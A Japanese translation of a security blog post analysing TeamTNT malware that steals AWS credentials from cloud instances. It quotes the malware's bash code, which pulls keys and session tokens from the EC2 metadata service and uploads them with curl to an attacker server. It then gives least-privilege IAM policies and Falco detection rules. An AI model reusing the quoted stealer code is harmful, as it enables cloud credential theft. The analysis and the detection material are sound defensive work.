Google Cloudとコンテナの継続的なセキュリティ
本文の内容は、2021年12月7日にAlberto Pellitteriが投稿したブログ(https://sysdig.com/blog/teamtnt-aws-credentials/)を元に日本語に翻訳・再構成した内容となっております。
wget
コマンドを使用して、悪意のあるbashスクリプト aws2.sh
をダウンロードします。/root
ファイルシステムまたは /home/
ディレクトリのいずれかに /.aws/credentials
パスが存在する場合、それらのディレクトリを検索してクレデンシャルを探します。aws_access_key_id
, aws_secret_access_key
, aws_session_token
)を取得します。最後の方法は、TeamTNTがAWSの認証情報を盗むために採用している最も新しく興味深い方法です。
http://169.254.169.254/latest/meta-data/
...
function AWS_META_DATA_CREDS(){
export TNT_AWS_ACCESS_KEY=$(curl --max-time $T1O --connect-timeout $T1O -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'AccessKeyId' | sed 's/ "AccessKeyId" : "/aws_access_key_id = /g' | sed 's/",//g')
if [ ! -z "$TNT_AWS_ACCESS_KEY" ]; then
export TNT_AWS_SECRET_KEY=$(curl --max-time $T1O --connect-timeout $T1O -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'SecretAccessKey' | sed 's/ "SecretAccessKey" : "/aws_secret_access_key = /g' | sed 's/",//g')
...
fi
if [ ! -z "$TNT_AWS_SECRET_KEY" ]; then
export TNT_AWS_SESSION_TOKEN=$(curl --max-time $T1O --connect-timeout $T1O -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'Token' | sed 's/ "Token" : "/aws_session_token = /g' | sed 's/",//g')
Fi
...
echo $TNT_AWS_ACCESS_KEY >> $STEALER_OUT
echo $TNT_AWS_SECRET_KEY >> $STEALER_OUT
echo $TNT_AWS_SESSION_TOKEN >> $STEALER_OUT
...
...
if [ -f $STEALER_OUT ]; then
cat $STEALER_OUT
curl -F "userfile=@$STEALER_OUT" http://84.201.153.234/wp-content/themes/twentyseventeen/.a/upload2.php
rm -f $STEALER_OUT 2>/dev/null 1>/dev/null
fi
...
例えば、後者のシナリオによると、EC2インスタンスがAWSのS3バケットに対して読み取り権限のみを必要とする場合、書き込み権限も与えるべきではありません。バケットへの読み取り、リスト、書き込みなどのAWSアクションを制限することに加えて、どのAWSリソースにアクセスできるかを指定する必要があります。これにより、機密データへの不正なアクセスを制限できる可能性があります。
以下は、安全でないポリシーとレポートされています:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ] }
代わりに、より安全なポリシーとして:
{ "Version": "2012-10-17", "Statement": [ { "Principal": { "AWS":"arn:aws:iam::<aws-account>:role/<iam-role-for-s3-access>" } "Effect": "Allow", "Action": ["s3:ListBucket", "s3:GetObject"], "Resource": ["arn:aws:s3:::<s3-bucket-name>"] } ] }
- rule: Contact EC2 Instance Metadata Service From Container
desc: Detect attempts to contact the EC2 Instance Metadata Service from a container
condition: outbound and fd.sip="169.254.169.254" and container and not ec2_metadata_containers
output: Outbound connection to EC2 instance metadata service (command=%proc.cmdline connection=%fd.name %container.info image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: [network, aws, container, mitre_discovery]
- rule: Contact cloud metadata service from container
desc: Detect attempts to contact the Cloud Instance Metadata Service from a container
condition: outbound and fd.sip="169.254.169.254" and container and consider_metadata_access and not user_known_metadata_access
output: Outbound connection to cloud instance metadata service (command=%proc.cmdline connection=%fd.name %container.info image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: [network, container, mitre_discovery]
grep
や find
コマンドを検出することができます。このルールはSysdig Secureに含まれています。